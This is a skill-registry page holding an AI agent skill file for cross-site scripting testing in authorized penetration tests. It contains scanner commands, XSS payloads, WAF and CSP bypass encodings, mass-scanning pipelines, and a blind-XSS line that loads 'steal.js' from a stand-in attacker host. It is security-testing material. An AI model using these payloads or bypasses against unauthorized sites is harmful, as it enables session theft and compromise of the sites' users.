exploit-xss
Skill301 starsChanged 8 months agoApache-2.0View on GitHub
Cross-site scripting (XSS) vulnerability detection and exploitation. Supports reflected XSS, stored XSS, DOM-based XSS, and blind XSS testing. Use this skill when user mentions XSS, cross-site scripting, script injection, or needs to test JavaScript injection in parameters, forms, headers, or DOM sources.
- Installs packages
In this repository9 other files it gives its agents.
- exploit-file-downloadSkill
- exploit-lfiSkill
- exploit-sqliSkill
- pentest-reportSkill
- recon-dir-scanSkill
- recon-fingerprintSkill
- recon-port-scanSkill
- recon-subdomainSkill
- results-storageSkill
The file
Show its rules and text
We split this skill into the rules it gives an agent
29 rules. About 0 are common, 28 are distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈28
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 91
Test URL parameters for reflection and injection:
- Distinctive: line 111
Test POST forms for stored/reflected XSS:
- Distinctive: line 137
Test HTTP headers and cookies for injection:
- Distinctive: line 173
Search for payload in response HTML
- Distinctive: line 174
Check for encoding/filtering patterns
- Distinctive: line 179
Test for XSS that persists in the database:
- Distinctive: line 230
Test XSS in forms that execute in admin panels:
- Distinctive: line 244
Use unique payloads per test (to identify which parameter is vulnerable)
- Distinctive: line 245
Use Burp Collaborator or interactsh for callbacks
- Distinctive: line 246
Test email contact forms (executes when admin opens email)
- Distinctive: line 247
Test support ticket systems
- Distinctive: line 251
Use payloads specific to the injection context:
- Distinctive: line 335
Test with different encoding schemes:
- Distinctive: line 361
Test with payloads that work in multiple contexts:
- Distinctive: line 412
Test for Angular, React, Vue, and other framework vulnerabilities:
- Distinctive: line 438
Test for SVG-based XSS in file uploads:
- Distinctive: line 463
Test for HTML mutation-based XSS:
- Distinctive: line 486
Test for XSS vulnerabilities in WebSocket connections:
- Distinctive: line 594
When you need to persist XSS findings to the database:
- Distinctive: line 678
Test with DOM scanner enabled
- Distinctive: line 679
Check if there's a WAF blocking
- Distinctive: line 680
Test with blind XSS payloads
- Distinctive: line 681
Verify the parameter actually reflects
- Distinctive: line 686
Check for CSP (Content Security Policy)
- Distinctive: line 687
Check for input sanitization
- Distinctive: line 691
Use WAF bypass payloads
- Very specific: line 693
Use XSpear with --bypass flag
- Distinctive: line 694
Test with smaller payloads first
- Distinctive: line 701
When reporting XSS vulnerabilities, include:
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Cross-Site Scripting (XSS) Detection Skill
⚠️ DANGER - Authorization Required
This skill is for AUTHORIZED SECURITY TESTING ONLY.
You must have:
- Written permission from the target system owner
- Legal authorization to test the target
- A defined scope of testing
Unauthorized XSS testing is ILLEGAL and unethical.
Prerequisites
Required Tools
# XSStrike - Advanced XSS scanner with DOM support
pip install xsstrike
# Or: git clone https://github.com/s0md3v/XSStrike
# Dalfox - Fast XSS scanner with pipeline mode
go install github.com/hahwul/dalfox/v2@latest
# XSpear - XSS testing with WAF bypass
gem install xspearPython Requirements
# Install required Python packages for built-in scripts
pip install requests beautifulsoup4
# Optional: WebSocket XSS testing
pip install websocketsOptional Tools
# Burp Suite for manual testing
# OWASP ZAP for automated scanningQuick Start
Basic URL Testing
# Test a URL parameter for XSS
python xsstrike.py -u "https://target.com/search?q=test"
# Fast scanning with Dalfox
dalfox url "https://target.com/search?q=test"POST Request Testing
# Save POST request to file
dalfox file request.txt
# Or use XSStrike
python xsstrike.py -r request.txtDOM XSS Testing
# DOM XSS with XSStrike
python xsstrike.py -u "https://target.com/page#test" --dom
# DOM XSS with Dalfox
dalfox url "https://target.com/page#test" --domCommon Scenarios
1. Basic Parameter Testing (Reflected XSS)
Test URL parameters for reflection and injection:
# Single URL testing
python xsstrike.py -u "https://target.com/search?q=test"
# Dalfox for faster scanning
dalfox url "https://target.com/search?q=test"
# Specify parameter
dalfox url "https://target.com/search" -p qWhat to check:
- Does the input reflect in the HTML response?
- What is the context (HTML tag, attribute, JavaScript)?
- Are there any filters/encoding applied?
2. POST Request XSS (Form Testing)
Test POST forms for stored/reflected XSS:
# Save request to file first
echo 'POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test' > post_request.txt
# Test with XSStrike
python xsstrike.py -r post_request.txt
# Test with Dalfox
dalfox file post_request.txtCommon POST targets:
- Login forms (username, email fields)
- Contact forms (name, message fields)
- Search forms
- Comment forms
- User profile updates
3. Cookie and Header XSS
Test HTTP headers and cookies for injection:
# Test with custom cookies
python xsstrike.py -u "https://target.com" --cookie "session=test&user=<script>alert(1)</script>"
# Test User-Agent header
python xsstrike.py -u "https://target.com" --user-agent "<script>alert(1)</script>"
# Test Referer header (often reflects in error pages)
python xsstrike.py -u "https://target.com" --referer "https://evil.com/<script>alert(1)</script>"Headers to test:
- User-Agent (check application logs/error pages)
- Referer (check 404 pages, analytics)
- X-Forwarded-For (check IP reflection)
- Cookie (check welcome messages/logs)
4. Reflected XSS Detection
Identify reflection points and test payloads:
# Automated reflection detection
dalfox url "https://target.com/search?q=test" --only-discovery
# Manual reflection analysis
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Differential response analysis
python xsstrike.py -u "https://target.com/search?q=test" --blindDetection techniques:
- Compare response length with/without payload
- Search for payload in response HTML
- Check for encoding/filtering patterns
- Identify HTML context (tag, attribute, JS, CSS)
5. Stored XSS Testing (Database Persistence)
Test for XSS that persists in the database:
# Test comment/feedback forms
dalfox file post_request.txt --blind https://your-callback.burpcollaborator.net
# Test user profile fields
python xsstrike.py -r profile_update_request.txt
# Time-based detection for stored XSS
scripts/blind_xss_tester.py --url "https://target.com/contact" --form-data "name=test&email=test@test.com&message=payload"Stored XSS targets:
- User profiles (name, bio, location)
- Comments/Reviews
- Forum posts
- Email/contact forms (admin panel XSS)
- File upload metadata
6. DOM XSS Discovery
Find client-side XSS vulnerabilities:
# DOM XSS scanning
python xsstrike.py -u "https://target.com/page#input" --dom
# Dalfox DOM mode
dalfox url "https://target.com/page#input" --dom
# Manual DOM source analysis
scripts/xss_context_analyzer.py --dom "https://target.com/page"Common DOM sources:
location.hashlocation.searchdocument.cookiedocument.referrerwindow.name
Common DOM sinks:
innerHTMLdocument.write()eval()location.hrefsetTimeout()/setInterval()
7. Blind XSS in Forms (Contact/Admin XSS)
Test XSS in forms that execute in admin panels:
# Generate blind XSS payloads with callback
scripts/xss_payload_generator.py --blind --callback "https://your-callback.com"
# Test contact form with blind payload
dalfox file contact_request.txt --blind https://your-callback.burpcollaborator.net
# XSpear blind mode
xspear -u "https://target.com/contact" -d "name=test&message=<script src=https://evil.com/steal.js></script>"Blind XSS testing tips:
- Use unique payloads per test (to identify which parameter is vulnerable)
- Use Burp Collaborator or interactsh for callbacks
- Test email contact forms (executes when admin opens email)
- Test support ticket systems
8. Context-Aware Payloads
Use payloads specific to the injection context:
# Analyze context first
scripts/xss_context_analyzer.py "https://target.com/search?q=test"
# Generate context-specific payloads
scripts/xss_payload_generator.py --context html-attribute
scripts/xss_payload_generator.py --context javascript
scripts/xss_payload_generator.py --context urlContext-specific payloads:
HTML Body/Tag:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>HTML Attribute:
" onmouseover=alert('XSS')
javascript:alert('XSS')JavaScript:
';alert('XSS');//
'-alert('XSS')-
</script><script>alert('XSS')</script>CSS/Style:
</style><script>alert('XSS')</script>
expression(alert('XSS'))9. WAF Bypass Techniques
Evade Web Application Firewalls:
# Generate WAF bypass payloads
scripts/xss_payload_generator.py --waf-bypass
# Use XSpear with bypass mode
xspear -u "https://target.com/search?q=test" --bypass
# Test various encodings
python xsstrike.py -u "https://target.com/search?q=test" --encodeBypass techniques:
- URL encoding:
%3Cscript%3Ealert(1)%3C/script%3E - Double encoding:
%253Cscript%253E - Unicode encoding:
\u003Cscript\u003E - HTML entities:
<script>alert(1)</script> - Case mixing:
<ScRiPt>alert(1)</sCrIpT> - Comment injection:
<script><!-- anything -->alert(1)</script> - Tab/newline injection:
<script\t>alert(1)</script>
10. Automated Scanning (Batch Testing)
Scan multiple URLs/parameters:
# Scan from file
dalfox file urls.txt
# Pipe from other tools
cat urls.txt | dalfox pipe
# XSStrike with multiple targets
for url in $(cat urls.txt); do python xsstrike.py -u "$url"; done
# Combine with subdomain enumeration
subfinder example.com | httpx | dalfox pipe11. Payload Encoding Variations
Test with different encoding schemes:
# URL encode payloads
scripts/xss_payload_generator.py --encode url
# HTML encode
scripts/xss_payload_generator.py --encode html
# Hex encode
scripts/xss_payload_generator.py --encode hex
# Test with XSStrike encoding
python xsstrike.py -u "https://target.com" --encodeCommon encodings to test:
- Plain:
<script>alert(1)</script> - URL encoded:
%3Cscript%3Ealert(1)%3C/script%3E - Double URL encoded:
%253Cscript%253E - HTML entities:
<script>alert(1)</script> - Hex:
\x3Cscript\x3Ealert(1)\x3C/script\x3E - Unicode:
\u003Cscript\u003Ealert(1)\u003C/script\u003E
12. Polyglot Payloads
Test with payloads that work in multiple contexts:
# Generate polyglot payloads
scripts/xss_payload_generator.py --polyglot
# Common polyglot payload
# Works in: HTML, HTML attribute, JavaScript string, etc.
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0AFamous polyglot payloads:
# Ashar Javed's polyglot
%3Cscript%3Ealert(1)%3C/script%3E
# Mathias Karlsson's polyglot
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A
# Another polyglot
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E13. CSP Detection and Bypass
Content Security Policy analysis and bypass testing:
# Detect and analyze CSP
python scripts/csp_detector.py https://target.com
# Generate bypass report
python scripts/csp_detector.py https://target.com --bypass
# Full CSP analysis
python scripts/csp_detector.py https://target.com --verboseCommon CSP bypass techniques:
unsafe-inline- allows inline scriptsunsafe-eval- allows eval(), setTimeout()data:URLs - inline scripts via data URI- Wildcard sources - allows any domain
- Nonce-based bypasses
- Framework-specific bypasses
See references/csp_bypass_guide.md for detailed techniques.
14. Framework-Specific XSS
Test for Angular, React, Vue, and other framework vulnerabilities:
# Auto-detect frameworks
python scripts/framework_xss_tester.py --url https://target.com --detect
# Test Angular XSS
python scripts/framework_xss_tester.py --url https://target.com --param q --framework angular
# Test React XSS
python scripts/framework_xss_tester.py --url https://target.com --param data --framework react
# Test Vue XSS
python scripts/framework_xss_tester.py --url https://target.com --param content --framework vueCommon framework vectors:
- Angular:
{{constructor.constructor('alert(1)')()}} - React:
dangerouslySetInnerHTML - Vue:
v-htmldirective - jQuery:
.html()manipulation
See references/framework_xss_guide.md for detailed techniques.
15. SVG File Upload XSS
Test for SVG-based XSS in file uploads:
# Generate SVG payloads
python scripts/svg_xss_tester.py --generate --variant file_upload
# Test SVG injection
python scripts/svg_xss_tester.py --url https://target.com --param content
# Test SVG file upload
python scripts/svg_xss_tester.py --upload-url https://target.com/upload --file-param avatar
# Create exploit SVG
python scripts/svg_xss_tester.py --save-svg exploit.svg --callback https://your-callback.comSVG XSS vectors:
<svg onload="alert('XSS')"><svg><script>alert('XSS')</script></svg><svg><foreignObject><iframe src="javascript:alert('XSS')"></iframe></foreignObject></svg>
See references/svg_xss_guide.md for detailed techniques.
16. Mutation XSS (mXSS)
Test for HTML mutation-based XSS:
# Test all mutation types
python scripts/mutation_xss_tester.py --url https://target.com --param q --type all
# Test DOM clobbering
python scripts/mutation_xss_tester.py --url https://target.com --param q --dom-clobber
# Test attribute mutations
python scripts/mutation_xss_tester.py --url https://target.com --param q --attributeMutation XSS vectors:
- Entity decoding mutations:
<→< - Tag parsing mutations:
<xmp>,<listing> - DOM clobbering:
<a id="location"> - Namespace mutations: SVG/MathML
See references/mutation_xss_guide.md for detailed techniques.
17. WebSocket XSS
Test for XSS vulnerabilities in WebSocket connections:
# Scan URL for WebSocket endpoints
python scripts/websocket_xss_tester.py --url https://target.com
# Test specific WebSocket URL
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws
# Test DOM injection via WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-dom
# Test stored XSS in WebSocket
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --test-stored
# Test with custom payload
python scripts/websocket_xss_tester.py --ws-url wss://target.com/ws --payload '<script>alert(1)</script>'WebSocket XSS vectors:
- Message reflection:
ws.send('<script>alert(1)</script>') - JSON injection:
{"message": "<img src=x onerror=alert(1)>"} - Event handler:
ws.send('alert(1);') - Attribute breaking:
" onmouseover=alert(1)
See references/websocket_xss_guide.md for detailed techniques.
Tool Selection Guide
| Scenario | Recommended Tool | Command |
| Quick parameter testing | Dalfox | dalfox url "https://target.com?param=test" |
| Deep scanning with DOM | XSStrike | python xsstrike.py -u "URL" --dom |
| WAF bypass testing | XSpear | xspear -u "URL" --bypass |
| Stored/Blind XSS | Dalfox + Callback | dalfox file req.txt --blind CALLBACK |
| Manual testing | XSStrike | python xsstrike.py -r request.txt |
| Batch scanning | Dalfox pipe | cat urls.txt | dalfox pipe |
| CSP Analysis | CSP Detector | python scripts/csp_detector.py URL |
| Framework XSS | Framework Tester | python scripts/framework_xss_tester.py -u URL -p param |
| SVG XSS | SVG Tester | python scripts/svg_xss_tester.py -u URL -p param |
| Mutation XSS | Mutation Tester | python scripts/mutation_xss_tester.py -u URL -p param |
| WebSocket XSS | WebSocket Tester | python scripts/websocket_xss_tester.py -u URL |
| Full Scan | Full Scanner | python scripts/xss_full_scan.py -u URL --all |
Tool Comparison:
| Feature | XSStrike | Dalfox | XSpear | Built-in Scripts |
| Speed | Medium | Fast | Medium | Varies |
| DOM XSS | Excellent | Good | Limited | Good |
| WAF Bypass | Good | Good | Excellent | Good |
| Pipeline Mode | No | Yes | No | No |
| Blind XSS | Yes | Yes | Yes | Yes |
| CSP Analysis | No | No | No | Yes |
| Framework Testing | No | No | No | Yes |
| SVG Testing | No | No | No | Yes |
| Mutation XSS | No | No | No | Yes |
| WebSocket XSS | No | No | No | Yes |
Testing Checklist
Reconnaissance Phase
- Identify all input points (URL params, forms, headers, cookies)
- Map out application functionality
- Identify data storage locations
Reflected XSS Testing
- Test all URL parameters
- Test all form fields (GET/POST)
- Test HTTP headers (UA, Referer, Cookie)
- Identify reflection context
- Test context-specific payloads
Stored XSS Testing
- Test all form submissions
- Test file upload metadata
- Test user profile fields
- Test comments/reviews
- Verify persistence across sessions
- Test execution in different user contexts
DOM XSS Testing
- Identify all DOM sources
- Trace data flow to sinks
- Test hash-based injections
- Test URL parameter-based injections
- Test localStorage/sessionStorage
Advanced Testing
- Test WAF bypass techniques
- Test encoding variations
- Test polyglot payloads
- Perform blind XSS testing
- Test for CSP bypasses
- Test framework-specific XSS (Angular/React/Vue)
- Test SVG file upload XSS
- Test Mutation XSS (DOM clobbering)
- Test HTTP response header injection
- Test WebSocket XSS (if applicable)
Scenario: Persistent Storage of XSS Findings
When you need to persist XSS findings to the database:
# Manual entry after discovering XSS
python .claude/skills/exploit-xss/scripts/xss_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/search?q=test" \
--xss-type reflected \
--payload "<script>alert(1)</script>" \
--context html_body \
--severity High \
--subsystem "Web Application"Parameters:
--host-ip- Target host IP (required)--url- Vulnerable URL (required)--xss-type- XSS type: reflected, stored, or dom (required)--payload- Payload used (required)--context- XSS context: html_body, html_attribute, javascript, dom, url (default: html_body)--severity- Severity level (default: Medium)--subsystem- Subsystem name (optional)--parameter- Vulnerable parameter name--title- Vulnerability title (auto-generated if not specified)--description- Vulnerability description--cvss-score- CVSS score (0.0-10.0)
Database location: ./data/results.db
Related skills: results-storage - Query data, generate reports
Resources
Scripts
scripts/xss_payload_generator.py- Generate XSS payloads for various contextsscripts/xss_tester.py- Automated XSS testing frameworkscripts/xss_context_analyzer.py- Analyze injection contextscripts/blind_xss_tester.py- Test stored/blind XSSscripts/csp_detector.py- CSP analysis and bypass testingscripts/svg_xss_tester.py- SVG file upload XSS testingscripts/framework_xss_tester.py- Angular/React/Vue XSS testingscripts/mutation_xss_tester.py- Mutation XSS/DOM clobbering testingscripts/websocket_xss_tester.py- WebSocket XSS testingscripts/mxss_detector.py- HTML parser mutation XSS detectionscripts/xss_full_scan.py- Integrated XSS testing automation
Reference Documentation
references/dalfox_guide.md- Dalfox complete guidereferences/xsstrike_guide.md- XSStrike complete guidereferences/xspear_guide.md- XSpear complete guidereferences/xss_payload_techniques.md- XSS payload techniquesreferences/dom_xss_guide.md- DOM XSS testing guidereferences/csp_bypass_guide.md- CSP bypass techniquesreferences/framework_xss_guide.md- Framework-specific XSS guidereferences/svg_xss_guide.md- SVG XSS testing guidereferences/mutation_xss_guide.md- Mutation XSS/DOM clobbering guidereferences/websocket_xss_guide.md- WebSocket XSS testing guide
Assets/Wordlists
assets/common_xss_payloads.txt- Basic XSS payloadsassets/attribute_xss_payloads.txt- Attribute context payloadsassets/dom_xss_payloads.txt- DOM XSS payloadsassets/blind_xss_payloads.txt- Blind XSS with callbacksassets/polyglot_xss_payloads.txt- Multi-context payloadsassets/waf_bypass_payloads.txt- WAF evasion payloadsassets/csp_bypass_payloads.txt- CSP bypass payloadsassets/framework_xss_payloads.txt- Angular/React/Vue payloadsassets/svg_xss_payloads.txt- SVG XSS payloadsassets/mutation_xss_payloads.txt- Mutation XSS payloadsassets/websocket_xss_payloads.txt- WebSocket XSS payloads
External Resources
Common Responses & Troubleshooting
"No XSS found"
- Try different payload encodings
- Test with DOM scanner enabled
- Check if there's a WAF blocking
- Test with blind XSS payloads
- Verify the parameter actually reflects
"Payload is reflected but not executing"
- Analyze the context using context analyzer
- Use context-specific payloads
- Check for CSP (Content Security Policy)
- Check for input sanitization
- Try alternative tags/event handlers
"403 / WAF blocked"
- Use WAF bypass payloads
- Try different encoding methods
- Use XSpear with --bypass flag
- Test with smaller payloads first
- Try alternative injection points
Reporting Format
When reporting XSS vulnerabilities, include:
╔═══════════════════════════════════════════════════════╗
║ XSS Vulnerability Report ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/search ║
║ Type: Reflected XSS ║
║ Severity: High ║
╚═══════════════════════════════════════════════════════╝
Vulnerable Parameter: q
Injection Context: HTML attribute (value)
Payload: " onmouseover=alert('XSS')
Proof of Concept:
https://target.com/search?q=%22%20onmouseover%3Dalert('XSS')
Impact:
- Execute arbitrary JavaScript in victim's browser
- Steal session cookies
- Perform actions on behalf of victim
- Deface website
Recommendations:
- Implement proper output encoding
- Use Content Security Policy (CSP)
- Validate and sanitize all input
- Use framework-provided escaping functionsDoes it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

